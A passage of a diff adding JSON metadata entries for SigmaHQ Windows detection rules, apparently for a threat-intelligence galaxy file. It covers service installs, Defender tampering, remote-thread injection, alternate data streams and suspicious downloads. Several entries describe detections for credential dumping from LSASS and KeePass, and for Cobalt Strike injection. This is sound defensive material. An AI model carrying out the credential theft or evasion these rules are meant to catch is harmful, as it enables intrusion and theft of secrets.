"windows" + } + }, + { + "description": "Detects a service installed by a client which has PID 0 or whose parent has PID 0", + "uuid": "71c276aa-49cd-43d2-b920-2dcd3e6962d5", + "value": "Service Installed By Unusual Client - System", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/windows-service-installed-via-an-unusual-client.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_system_service_installation_by_unusal_client.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543" + ], + "creation_date": "2022/09/15", + "filename": "win_system_system_service_installation_by_unusal_client.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "system", + "logsource.product": "windows" + } + }, + { + "description": "Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques", + "uuid": "8e4cf0e5-aa5d-4dc3-beff-dc26917744a9", + "value": "Tap Driver Installation", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_tap_driver_installation.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048" + ], + "creation_date": "2019/10/24", + "filename": "win_system_tap_driver_installation.yml", + "author": "Daniil Yugoslavskiy, Ian Davis, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate OpenVPN TAP insntallation" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects volume shadow copy mount via windows event log", + "uuid": "f512acbf-e662-4903-843e-97ce4652b740", + "value": "Volume Shadow Copy Mount", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_volume_shadow_copy_mount.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ], + "creation_date": "2020/10/20", + "filename": "win_system_volume_shadow_copy_mount.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", + "level": "low", + "falsepositive": [ + "Legitimate use of volume shadow copy mounts (backups maybe)." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects that a vulnerable Netlogon secure channel connection was allowed, which could be an indicator of CVE-2020-1472.", + "uuid": "a0cb7110-edf0-47a4-9177-541a4083128a", + "value": "Vulnerable Netlogon Secure Channel Connection Allowed", + "meta": { + "refs": [ + "https://support.microsoft.com/en-us/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_vul_cve_2020_1472.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548" + ], + "creation_date": "2020/09/15", + "filename": "win_system_vul_cve_2020_1472.yml", + "author": "NVISO", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "The attacker creates a computer object using those permissions with a password known to her.\nAfter that she clears the attribute ServicePrincipalName on the computer object.\nBecause she created the object (CREATOR OWNER), she gets granted additional permissions and can do many changes to the object.\n", + "uuid": "44bbff3e-4ca3-452d-a49a-6efa4cafa06f", + "value": "Exploit SamAccountName Spoofing with Kerberos", + "meta": { + "refs": [ + "https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_vul_cve_2021_42278_or_cve_2021_42287.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1558.003" + ], + "creation_date": "2021/12/15", + "filename": "win_system_vul_cve_2021_42278_or_cve_2021_42287.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects rare scheduled task creations. Typically software gets installed on multiple systems and not only on a few. The aggregation and count function selects tasks with rare names.", + "uuid": "b20f6158-9438-41be-83da-a5a16ac90c2b", + "value": "Rare Scheduled Task Creations", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/taskscheduler/win_rare_schtask_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.s0111", + "attack.t1053.005" + ], + "creation_date": "2017/03/17", + "filename": "win_rare_schtask_creation.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "Software installation" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects cases in which ngrok, a reverse proxy tool, forwards events to the local RDP port, which could be a sign of malicious behaviour", + "uuid": "64d51a51-32a6-49f0-9f3d-17e34d640272", + "value": "Ngrok Usage with Remote Desktop Service", + "meta": { + "refs": [ + "https://twitter.com/tekdefense/status/1519711183162556416?s=12&t=OTsHCBkQOTNs1k3USz65Zg", + "https://ngrok.com/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/terminalservices/win_terminalservices_rdp_ngrok.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1090" + ], + "creation_date": "2022/04/29", + "filename": "win_terminalservices_rdp_ngrok.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects Access to LSASS Process", + "uuid": "a0a278fe-2c0e-4de2-ac3c-c68b08a9ba98", + "value": "LSASS Access Detected via Attack Surface Reduction", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard?WT.mc_id=twitter", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_alert_lsass_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2018/08/26", + "filename": "win_defender_alert_lsass_access.yml", + "author": "Markus Neis", + "level": "high", + "falsepositive": [ + "Google Chrome GoogleUpdate.exe", + "Some Taskmgr.exe related activity" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects triggering of AMSI by Windows Defender.", + "uuid": "ea9bf0fa-edec-4fb8-8b78-b119f2528186", + "value": "Windows Defender AMSI Trigger Detected", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_amsi_trigger.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2020/09/14", + "filename": "win_defender_amsi_trigger.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects disabling Windows Defender threat protection", + "uuid": "fe34868f-6e0e-4882-81f6-c43aa8f15b62", + "value": "Windows Defender Threat Detection Disabled", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/troubleshoot-windows-defender-antivirus", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_disabled.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2020/07/28", + "filename": "win_defender_disabled.yml", + "author": "J\u00e1n Tren\u010dansk\u00fd, frack113", + "level": "low", + "falsepositive": [ + "Administrator actions" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the Setting of Windows Defender Exclusions", + "uuid": "1321dc4e-a1fe-481d-a016-52c45f0c8b4f", + "value": "Windows Defender Exclusions Added", + "meta": { + "refs": [ + "https://twitter.com/_nullbind/status/1204923340810543109", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_exclusions.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/07/06", + "filename": "win_defender_exclusions.yml", + "author": "Christian Burkard", + "level": "medium", + "falsepositive": [ + "Administrator actions" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects when someone is adding or removing applications or folder from exploit guard \"ProtectedFolders\" and \"AllowedApplications\"", + "uuid": "a3ab73f1-bd46-4319-8f06-4b20d0617886", + "value": "Windows Defender Exploit Guard Tamper", + "meta": { + "refs": [ + "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_exploit_guard_tamper.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/08/05", + "filename": "win_defender_exploit_guard_tamper.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Windows Defender logs when the history of detected infections is deleted. Log file will contain the message \"Windows Defender Antivirus has removed history of malware and other potentially unwanted software\".", + "uuid": "2afe6582-e149-11ea-87d0-0242ac130003", + "value": "Windows Defender Malware Detection History Deletion", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/troubleshoot-microsoft-defender-antivirus", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_history_delete.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.001" + ], + "creation_date": "2020/08/13", + "filename": "win_defender_history_delete.yml", + "author": "Cian Heasley", + "level": "high", + "falsepositive": [ + "Deletion of Defender malware detections history for legitimate reasons" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects blocking of process creations originating from PSExec and WMI commands", + "uuid": "97b9ce1e-c5ab-11ea-87d0-0242ac130003", + "value": "PSExec and WMI Process Creations Block", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction?WT.mc_id=twitter#block-process-creations-originating-from-psexec-and-wmi-commands", + "https://twitter.com/duff22b/status/1280166329660497920", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_psexec_wmi_asr.yml" + ], + "tags": [ + "attack.execution", + "attack.lateral_movement", + "attack.t1047", + "attack.t1569.002" + ], + "creation_date": "2020/07/14", + "filename": "win_defender_psexec_wmi_asr.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects block of attempt to disable real time protection of Microsoft Defender by tamper protection", + "uuid": "49e5bc24-8b86-49f1-b743-535f332c2856", + "value": "Microsoft Defender Tamper Protection Trigger", + "meta": { + "refs": [ + "https://bhabeshraj.com/post/tampering-with-microsoft-defenders-tamper-protection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_tamper_protection_trigger.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/07/05", + "filename": "win_defender_tamper_protection_trigger.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Administrator actions" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects all actions taken by Windows Defender malware detection engines", + "uuid": "57b649ef-ff42-4fb0-8bf6-62da243a1708", + "value": "Windows Defender Threat Detected", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/troubleshoot-windows-defender-antivirus", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_threat.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2020/07/28", + "filename": "win_defender_threat.yml", + "author": "J\u00e1n Tren\u010dansk\u00fd", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.", + "uuid": "0b7889b4-5577-4521-a60a-3376ee7f9f7b", + "value": "WMI Persistence", + "meta": { + "refs": [ + "https://twitter.com/mattifestation/status/899646620148539397", + "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/wmi/win_wmi_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.003" + ], + "creation_date": "2017/08/22", + "filename": "win_wmi_persistence.yml", + "author": "Florian Roth, Gleb Sukhodolskiy, Timur Zinniatullin oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown (data set is too small; further testing needed)" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects remote thread injection events based on action seen used by bumblebee", + "uuid": "994cac2b-92c2-44bf-8853-14f6ca39fbda", + "value": "Bumblebee Remote Thread Creation", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_bumblebee.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218.011", + "attack.t1059.001" + ], + "creation_date": "2022/09/27", + "filename": "create_remote_thread_win_bumblebee.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_remote_thread", + "logsource.product": "windows" + } + }, + { + "description": "Detects remote thread creation from CACTUSTORCH as described in references.", + "uuid": "2e4e488a-6164-4811-9ea1-f960c7359c40", + "value": "CACTUSTORCH Remote Thread Creation", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1090588499517079552", + "https://github.com/mdsecactivebreach/CACTUSTORCH", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_cactustorch.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055.012", + "attack.execution", + "attack.t1059.005", + "attack.t1059.007", + "attack.t1218.005" + ], + "creation_date": "2019/02/01", + "filename": "create_remote_thread_win_cactustorch.yml", + "author": "@SBousseaden (detection), Thomas Patzke (rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_remote_thread", + "logsource.product": "windows" + } + }, + { + "description": "Detects a possible remote threat creation with certain characteristics which are typical for Cobalt Strike beacons", + "uuid": "6309645e-122d-4c5b-bb2b-22e4f9c2fa42", + "value": "CobaltStrike Process Injection", + "meta": { + "refs": [ + "https://medium.com/@olafhartong/cobalt-strike-remote-threads-detection-206372d11d0f", + "https://blog.cobaltstrike.com/2018/04/09/cobalt-strike-3-11-the-snake-that-eats-its-tail/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_cobaltstrike_process_injection.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055.001" + ], + "creation_date": "2018/11/30", + "filename": "create_remote_thread_win_cobaltstrike_process_injection.yml", + "author": "Olaf Hartong, Florian Roth, Aleksey Potapov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_remote_thread", + "logsource.product": "windows" + } + }, + { + "description": "Detects potential use of CreateRemoteThread api and LoadLibrary function to inject DLL into a process", + "uuid": "052ec6f6-1adc-41e6-907a-f1c813478bee", + "value": "CreateRemoteThread API and LoadLibrary", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-180719170510.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_loadlibrary.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055.001" + ], + "creation_date": "2019/08/11", + "filename": "create_remote_thread_win_loadlibrary.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_remote_thread", + "logsource.product": "windows" + } + }, + { + "description": "Detects remote thread creation in KeePass.exe indicating password dumping activity", + "uuid": "77564cc2-7382-438b-a7f6-395c2ae53b9a", + "value": "KeePass Password Dumping", + "meta": { + "refs": [ + "https://www.cisa.gov/uscert/ncas/alerts/aa20-259a", + "https://github.com/denandz/KeeFarce", + "https://github.com/GhostPack/KeeThief", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_password_dumper_keepass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555.005" + ], + "creation_date": "2022/04/22", + "filename": "create_remote_thread_win_password_dumper_keepass.yml", + "author": "Timon Hackenjos", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_remote_thread", + "logsource.product": "windows" + } + }, + { + "description": "Detects password dumper activity by monitoring remote thread creation EventID 8 in combination with the lsass.exe process as TargetImage.\nThe process in field Process is the malicious program. A single execution can lead to hundreds of events.\n", + "uuid": "f239b326-2f41-4d6b-9dfa-c846a60ef505", + "value": "Password Dumper Remote Thread in LSASS", + "meta": { + "refs": [ + "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/WCE.htm", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_password_dumper_lsass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.s0005", + "attack.t1003.001" + ], + "creation_date": "2017/02/19", + "filename": "create_remote_thread_win_password_dumper_lsass.yml", + "author": "Thomas Patzke", + "level": "high", + "falsepositive": [ + "Antivirus products" + ], + "logsource.category": "create_remote_thread", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a remote thread from a Powershell process to another process", + "uuid": "eeb2e3dc-c1f4-40dd-9bd5-149ee465ad50", + "value": "Accessing WinAPI in PowerShell. Code Injection", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_powershell_code_injection.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/06", + "filename": "create_remote_thread_win_powershell_code_injection.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_remote_thread", + "logsource.product": "windows" + } + }, + { + "description": "Detects PowerShell remote thread creation in Rundll32.exe", + "uuid": "99b97608-3e21-4bfe-8217-2a127c396a0e", + "value": "PowerShell Rundll32 Remote Thread Creation", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2018/06/bring-your-own-land-novel-red-teaming-technique.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_powershell_rundll32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218.011", + "attack.t1059.001" + ], + "creation_date": "2018/06/25", + "filename": "create_remote_thread_win_susp_powershell_rundll32.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_remote_thread", + "logsource.product": "windows" + } + }, + { + "description": "Offensive tradecraft is switching away from using APIs like \"CreateRemoteThread\", however, this is still largely observed in the wild.\nThis rule aims to detect suspicious processes (those we would not expect to behave in this way like word.exe or outlook.exe) creating remote threads on other processes.\nIt is a generalistic rule, but it should have a low FP ratio due to the selected range of processes.\n", + "uuid": "66d31e5f-52d6-40a4-9615-002d3789a119", + "value": "Suspicious Remote Thread Source", + "meta": { + "refs": [ + "Personal research, statistical analysis", + "https://lolbas-project.github.io", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_remote_thread_source.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1055" + ], + "creation_date": "2019/10/27", + "filename": "create_remote_thread_win_susp_remote_thread_source.yml", + "author": "Perez Diego (@darkquassar), oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_remote_thread", + "logsource.product": "windows" + } + }, + { + "description": "Offensive tradecraft is switching away from using APIs like \"CreateRemoteThread\", however, this is still largely observed in the wild.\nThis rule aims to detect suspicious processes (those we would not expect to behave in this way like word.exe or outlook.exe) creating remote threads on other processes.\nIt is a generalistic rule, but it should have a low FP ratio due to the selected range of processes.\n", + "uuid": "f016c716-754a-467f-a39e-63c06f773987", + "value": "Suspicious Remote Thread Target", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_remote_thread_target.yml" + ], + "tags": "No established tags", + "creation_date": "2022/08/25", + "filename": "create_remote_thread_win_susp_remote_thread_target.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_remote_thread", + "logsource.product": "windows" + } + }, + { + "description": "Detects a remote thread creation in suspicious target images", + "uuid": "a1a144b7-5c9b-4853-a559-2172be8d4a03", + "value": "Remote Thread Creation in Suspicious Targets", + "meta": { + "refs": [ + "https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_targets.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055.003" + ], + "creation_date": "2022/03/16", + "filename": "create_remote_thread_win_susp_targets.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_remote_thread", + "logsource.product": "windows" + } + }, + { + "description": "Detects a remote thread creation of Ttdinject.exe used as proxy", + "uuid": "c15e99a3-c474-48ab-b9a7-84549a7a9d16", + "value": "Remote Thread Creation Ttdinject.exe Proxy", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Ttdinject/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_ttdinjec.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ], + "creation_date": "2022/05/16", + "filename": "create_remote_thread_win_ttdinjec.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_remote_thread", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of an ADS data stream that contains an executable (non-empty imphash)", + "uuid": "b69888d4-380c-45ce-9cf9-d9ce46e67821", + "value": "Executable in ADS", + "meta": { + "refs": [ + "https://twitter.com/0xrawsec/status/1002478725605273600?s=21", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_ads_executable.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.s0139", + "attack.t1564.004" + ], + "creation_date": "2018/06/03", + "filename": "create_stream_hash_ads_executable.yml", + "author": "Florian Roth, @0xrawsec", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_stream_hash", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a suspicious ADS (Alternate Data Stream) file by software other than browsers", + "uuid": "573df571-a223-43bc-846e-3f98da481eca", + "value": "Creation Of a Suspicious ADS File Outside a Browser Download", + "meta": { + "refs": [ + "https://www.bleepingcomputer.com/news/security/exploited-windows-zero-day-lets-javascript-files-bypass-security-warnings/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_creation_internet_file.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/10/22", + "filename": "create_stream_hash_creation_internet_file.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Other legitimate browsers not currently included in the filter (please add them)", + "Legitimate downloads via scripting or command-line tools (Investigate to determine if it's legitimate)" + ], + "logsource.category": "create_stream_hash", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a file on disk that has an imphash of a well-known hack tool", + "uuid": "19b041f6-e583-40dc-b842-d6fa8011493f", + "value": "Hacktool Download", + "meta": { + "refs": [ + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_hacktool_download.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.s0139", + "attack.t1564.004" + ], + "creation_date": "2022/08/24", + "filename": "create_stream_hash_hacktool_download.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_stream_hash", + "logsource.product": "windows" + } + }, + { + "description": "Exports the target Registry key and hides it in the specified alternate data stream.", + "uuid": "0d7a9363-af70-4e7b-a3b7-1a176b7fbe84", + "value": "Exports Registry Key To an Alternate Data Stream", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_regedit_export_to_ads.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ], + "creation_date": "2020/10/07", + "filename": "create_stream_hash_regedit_export_to_ads.yml", + "author": "Oddvar Moe, Sander Wiebing, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_stream_hash", + "logsource.product": "windows" + } + }, + { + "description": "Detects the download of suspicious file type from a well-known file and paste sharing domain", + "uuid": "52182dfb-afb7-41db-b4bc-5336cb29b464", + "value": "Suspicious File Download from File Sharing Domain", + "meta": { + "refs": [ + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_susp_domain_ext_combo.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.s0139", + "attack.t1564.004" + ], + "creation_date": "2022/08/24", + "filename": "create_stream_hash_susp_domain_ext_combo.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_stream_hash", + "logsource.product": "windows" + } + }, + { + "description": "Detects the download of suspicious file type from a well-known file and paste sharing domain", + "uuid": "ae02ed70-11aa-4a22-b397-c0d0e8f6ea99", + "value": "Unusual File Download from File Sharing Domain", + "meta": { + "refs": [ + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_susp_domain_ext_combo_med.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.s0139", + "attack.t1564.004" + ], + "creation_date": "2022/08/24", + "filename": "create_stream_hash_susp_domain_ext_combo_med.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_stream_hash", + "logsource.product": "windows" + } + }, + { + "description": "Detects the download of suspicious file type from URLs with IP", + "uuid": "025bd229-fd1f-4fdb-97ab-20006e1a5368", + "value": "Unusual File Download from Direct IP Address", + "meta": { + "refs": [ + "https://github.com/trustedsec/SysmonCommunityGuide/blob/adcdfee20999f422b974c8d4149bf4c361237db7/chapters/file-stream-creation-hash.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_susp_ip_domains.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ], + "creation_date": "2022/09/07", + "filename": "create_stream_hash_susp_ip_domains.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "create_stream_hash", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "uuid": "4d07b1f4-cb00-4470-b9f8-b0191d48ff52", + "value": "Query To Remote Access Software Domain", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-6---ammyy-admin-software-execution", + "https://redcanary.com/blog/misbehaving-rats/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_remote_access_software_domains.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/07/11", + "filename": "dns_query_remote_access_software_domains.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "FP may be caused in legitimate usage of the softwares mentioned above" + ], + "logsource.category": "dns_query", + "logsource.product": "windows" + } + }, + { + "description": "Detects DNS queries for anonfiles.com, which is an anonymous file upload platform often used for malicious purposes", + "uuid": "065cceea-77ec-4030-9052-fc0affea7110", + "value": "DNS Query for Anonfiles.com Domain", + "meta": { + "refs": [ + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_anonymfiles_com.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567.002" + ], + "creation_date": "2022/07/15", + "filename": 